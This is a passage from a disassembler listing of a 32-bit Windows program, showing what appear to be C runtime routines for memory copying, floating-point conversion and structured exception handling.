		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx


loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------


loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A290
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722


loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB2CC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43C8A4, offset sub_421935
		mov	off_43C8A0, eax
		mov	off_43C8A8, offset sub_42199B
		mov	off_43C8AC, offset sub_4218DB
		mov	off_43C8B0, offset sub_421983
		mov	off_43C8B4, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A2A8
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868


loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------


loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB324
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------


loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------


loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E


loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2


loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39


loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45


loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]


loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67


loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2


loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]


loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------


loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A2AC
		mov	ecx, [ebp+8]


loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28


loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------


loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
